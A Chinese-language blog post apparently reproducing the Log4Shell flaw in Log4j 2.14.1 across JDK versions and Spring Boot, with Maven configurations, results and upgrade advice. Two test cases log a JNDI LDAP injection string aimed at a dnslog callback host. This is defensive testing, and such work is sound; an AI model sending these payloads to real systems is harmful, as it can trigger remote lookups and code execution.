额。。。95%JavaEE都会受影响把。
个人测试一下实际情况

运行环境

更改JDK版本

  • JDK
    3个版本
    image.png
  • maven依赖
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-slf4j-impl</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.16.22</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.1</version>
        </dependency>
    </dependencies>

测试代码

@Slf4j
public class test {
    public static void main(String... args) {
    }
    @Test
    public void test() {
            log.error("${jndi:ldap://pmrzog.dnslog.cn}");

    }
}

不做其他任何参数限制

结果

  • JDK1.8早期版本
    image.png

  • JDK1.8 300以上
    image.png

  • JDK11
    image.png

结论

网上传播和版本有关系JDK1.8 200以上不会出现这种情况是错误的,至少我测试的版本都有问题

更改log4j依赖包

log4j官网
https://logging.apache.org/log4j/2.x/maven-artifacts.html
image.png

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.15.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.15.0</version>
        </dependency>

以上情况均未复现

结论

log4j-core和log4j-api 更新到最新2.15即可

集成springboot

springboot相关环境

  • springboot版本2.3.8
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.8.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>demo</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <optional>true</optional>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

因为spring-boot-start集成log4j。

  • log4j
    自带集成的版本为2.1.3
    image.png

测试用例

  • 使用lombook注解
@SpringBootTest
@Slf4j
class DemoApplicationTests {

    @Test
    void contextLoads() {
        log.error("${jndi:ldap://xh836m.dnslog.cn}");
    }
}

未复现
image.png

原因分析

  • 可能1
    个人猜测log其实是logback 的Logger实现了org.slf4j.Logger的接口。并不调用slf4j内部实现方法,故不会重现。具体源码太长不看
    image.png

最终是通过AppenderAttachableImpl的appendLoopOnAppenders方法加上读写锁实现的。具体源码太长不看
image.png

  • 可能2
    spring-boot-starter-logging在整合log4j的时候为了更适配做了单独的配置。一定是这样,懒得看了。。。

验证

单独引入springboot的日志体系

    <groupId>org.example</groupId>
    <artifactId>test</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.16.22</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.1</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
            <version>2.3.8.RELEASE</version>
        </dependency>
    </dependencies>

没有触发
image.png

个人总结

  • 从JDK8到JDK11均可以复现,和JDK版本无关
  • springboot整合的日志框架可以避免

修复

个人建议

1.中间件大量使用log4j,要是牛逼就一个个下源码排除依赖加最新依赖,谁知道会不会出幺蛾子
2.如果没有直接引用log4j就先放着,等官方修复。全套整下来得弄死,而且也不一定能整好,有些公司确实比较佛系

未完待续。。。


这个家伙很懒,啥也没有留下😋